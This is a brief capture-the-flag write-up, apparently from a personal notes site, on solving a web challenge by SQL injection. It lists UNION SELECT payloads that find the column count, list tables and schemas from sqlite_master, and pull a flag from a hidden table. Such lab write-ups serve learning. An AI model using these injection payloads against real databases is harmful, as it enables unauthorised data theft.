This felt sql-y to me immediately. Can we break it?  Sure can Let's try some unions and see if we can pull some info. Trial and error, I found that there are 3 columns ``` ' union select 1,2,3-- - ```  Pulling the table names ``` ' union select 1,2,tbl_name FROM sqlite_master;-- - ```  And enumerating the columns ``` ' union select 1,2,sql FROM sqlite_master;-- - ```  Now to grab the data we want ``` ' union select 1,flag,link FROM hidden;-- -' ```   And the flag  --- Back to [[_WebSite Publish/CTF/CTF Index|CTF Index]] Tags: #ctf #web #sqlinjection Related: